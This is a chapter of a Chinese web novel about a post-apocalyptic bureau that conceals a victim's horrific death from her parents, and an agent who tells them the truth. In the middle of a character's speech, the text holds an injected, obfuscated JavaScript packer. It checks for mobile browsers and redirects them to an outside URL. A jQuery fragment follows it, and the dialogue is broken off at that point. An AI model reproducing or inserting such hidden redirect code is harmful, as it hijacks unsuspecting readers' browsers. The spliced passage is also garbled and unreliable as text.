8. 正确
作品:《异能局社畜日常[后末日]》 车尔向总局汇报了任务完成,申请后续处理队来清理现场。杨理火在驾驶座上哼着不成调的歌,看起来心情不错。
容贤靠在车窗上,手腕上的绿宝石正缓解着她刺痛的神经。还是太勉强了吗?她的异能波动还处于异常状态,可她现在已经在克制了。
车尔不知道她的纠结,以为她是因为人没有救下来很难过,说,“任务中,什么都可能发生,你做的很好,还好有你。”
他拍了拍杨理火,“还有你,别忘了写报告。”
“报告?”容贤问。
“嗯,每次任务结束都要写详细报告,包括行动过程、异花特征、处理方法,还有个人总结。”车尔解释说,“虽然很多同事都觉得这太形式了,可这是很有必要的,能让我们及时发现问题,解决问题。”
“每个人都要写吗?”
杨理火没好气道,“当然!”他讨厌写报告,大好时间应该是用来浪费的。
容贤若有所思,总结吗?
车开进总局车库时,赵随石已经等在那里。穿的一身修长的燕尾服,像是从哪个宴会下来。
“欢迎回来。”他说。
三人下车。杨理火迫不及待地开始讲任务细节,车尔在旁边补充。赵随石安静地听着,偶尔点头,目光不时落在容贤身上。
等他们说完,赵随石才开口:“做得很好。尤其是容贤,车尔汇报说,你的精准度超出了预期。”
容贤没有谦虚,“这是我该做的。”
“回去早点休息吧。”赵随石说,“明天去见一见麻医生,她对你的身体表示担忧,因为她那边的系统显示你的情况狠糟糕。”
“好。”
她坐到书桌前,打开智能工作日记。屏幕亮起,她开始写下,「任务报告」
「确认失踪者江铃(女,24岁)已死亡,死因为异花寄生反噬宿主。Ps:未能在行动中挽救受害者生命。嫌疑人在逃逸过程中被清除,其背后另有隐情,证据不足,一切未知。」
容贤点了提交。系统自动生成回执:「报告已归档,C级,权限,异防局三级以上干部可查。」
她关掉屏幕,房间陷入昏暗。
她的手机这时响了起来,上面显示着陈丹。
「你好,我是陈丹,不知你还记不记得我。」
容贤猜出来她此番来电是为了什么,「嗯,你想知道江铃怎么样,我无法告知。」
「这样吗,我不该问的,只是我今天遇到了她的父母,他们说被异防局通知前去取东西。」应该是凶多吉少,陈丹没忍心说出来。
「我知道了,我会注意一下。」
……
异防总局一层接待大厅。
容贤结束体能训练,浑身酸痛。
赵随石已经和麻医生预约好了时间,她只管去就可以。
高不依给她制定的强化方案很严苛,只是个开始,就已经达到了她的极致。
在满是制服的大厅,她注意到一对夫妻,他们坐在等候区的椅子上,脸色很悲戚,穿着朴素。
负责接待他们的工作人员,容贤在清理部欢迎大会上见过她,是专门处理事后家属安抚工作的专员,姓白。
她听到白专员说江铃,停下了脚步,装作无意的坐在一旁,当然,只是她自以为,白专员早就看到了她。
“这是江铃女士留在住处的个人物品。”白专员的声音很轻,带着职业性的温和,“按照规定,所有与案件直接相关的证物不能移交,但这些私人物品可以交还家属。请节哀。”
女人接过那个箱子,看到上面放着落日的照片,一个个美好的少年正肆意朝着镜头欢笑,“她要追梦,我虽不理解,但也支持她来中心区发展,她可是我们那最出息的女孩,很聪明,申请到来这里的工作,她还说,等一等,她就会赚很多钱,给全家改善生活。”
“多好的孩子啊,怎么就没了呢。”她声音越来越颤。
男人搂住妻子,眼圈通红,但努力维持着镇定:“谢谢你,警官,她走的快吗?”
白专员沉默了两秒。按照规定,她不可以透露有关细节,感情化的语言是会误导家属,但她看着这对夫妇,最终选择了折中:“行动很迅速。她……没有遭受长时间的折磨。”
真假掺半,她只能说到这里。
男人点点头,像抓住了一根救命稻草:“那就好……那就好啊。”
细碎压抑的哭声止也止不住,他们相拥而泣,来往的人都步履匆匆,半点眼神也没给他们。
这样的场景他们不是第一次见,也并不会好受,而白专员直面了他们的悲痛,正克制自己的难过。
容贤成了那个异类,这下白专员不能当看不见了。她走到她面前,让她赶紧离开。
按照规定,家属只能知道江铃遇害,嫌疑人已死。他们不会知道异花寄生,不会知道女儿做了花肥,成软水一般的存在,最后尸骨都留不下来,因为要高压灭菌,确保不会任何残余。
要“避免恐慌”,要“正确判断”。
容贤冲到电梯里,本来要去医疗科,结果往上多摁了一层。
她去找了赵随石。
……
“你觉得我做错了?”
赵随石的声音在办公室里响起,听不出情绪,他站在窗前,背对着容贤,看到刚离开的江铃父母。
容贤站在办公桌前,身上的训练服贴在皮肤上,头发沾到脸上,她连清洗都没做。
“我没有说错。”她顿了顿,“我只是觉得他们有权利知道自己的孩子发生了什么。”
赵随石转过身。午后的阳光从窗外斜射进来,给他全身渡了一层光,很耀眼,容县偏了偏头,继续说,“我不明白。”
“不明白吗?”他问,“让他们知道自己的女儿死之前几乎遭遇了这世上最痛苦的事,清晰的感受到自己的心脏掉了又掉,每根血管破裂,神经被压迫到极致,求生不得求死不能,直到被榨取最后的一滴血。”
“容贤,我们是要确保整个社会在健康运行,你说要将真相公布,一旦他们的恐慌的情绪失控,你能控制吗?”
“之前七区和十六区跨区售卖非法活体金属,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094756|195618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为什么会被异警部的人盯上,是因为之前七区的人疏忽大意,将未控制的异花种子泄露出去,离最近的小区被群体性寄生,无法救治,用大火烧了七天七夜,死的人都无法统计。”
“消息封锁,大家只知道是一家人错误操作机器失火,仅仅是这样,异防局被质疑的声音从来没有停止。”
容贤从未听过。
赵随石叹气,“在‘让几百万人陷入恐慌’和‘让一对夫妇承受隐瞒’之间,你选哪个?”
“这不是二选一。”容贤直视他的眼睛,“江铃的家人…你说他们情绪激动,不会有正确的判断,可谁有资格替他们定义什么是‘正确’?”
“没人敢赌,容贤。”赵随石无奈,“异花在中心区的渗透程度到了多少,我们还没有具体数据,但见过七区大规模的制造贩卖,这并不是什么小数目。”
他走到容贤面前,声音低了下去,“清理部正在关键时期。”
“所以真相要让步于‘时机’?”容贤问。
“让真相发挥正确的作用,需要对的时机和方式。”赵随石纠正她,“绝对不能是现在。”
容贤说明白了,可赵随石知道她开始钻起了牛角尖。
容贤没有直接回宿舍。
她去了总局的资料库,查了下最近七区的案子。
自从宣告进入后末日时代,人们对异花的印象就是在源河外的十八区,再无危害人类的可能。
档案上写的和赵随石说的一样,七区频繁的爆发异花寄生,这才引起异警部调查,最后转到清理部手里收尾,才没有引发大的恐慌。
一切都被掩饰的很好。
江铃的父母住在五区的一栋旧居民楼里。容贤从中心区坐车,和她一起坐车的人都是在中心区买不起房,每天都要回家住的五区居民。
开门的是江铃的父亲。他看到容贤身上的清理部制服,愣了一下。
“您是……”
“我叫容贤。”她说,“关于您女儿的事,有些情况……我觉得您应该知道。”
她说了十分钟。没有隐瞒,没有修饰,把自己的工作汇报说了出来。
异花重来,这是每个经历末日都会害怕的一幕。
学过历史的后来人清楚末日的可怕,但生活已经安逸了,这代表他们不愿意去想那混乱的时代。
男人抬起头,眼睛通红:“当时为什么不告诉我们?”
“规定。”
“谢谢。”江铃的母亲忽然说。她走到容贤面前,深深鞠了一躬,“谢谢你告诉我们真相。”
容贤扶住她:“对不起,我……”
“对不起我们的,不是你。”江铃母亲紧紧握着她的手。
离开时,江铃的父亲送她到楼下。她往前走了几步,听到后面人说,“我们会去讨个说法的。不是闹事,就是要一个公开的交代。异花不是应该被源河隔绝了吗?为什么会出现在我女儿身上,很多事我们都不懂,可发生在我女儿身上的悲剧,我不想在其他人身上看到了。”
容贤想说什么,但最终只是点了点头。

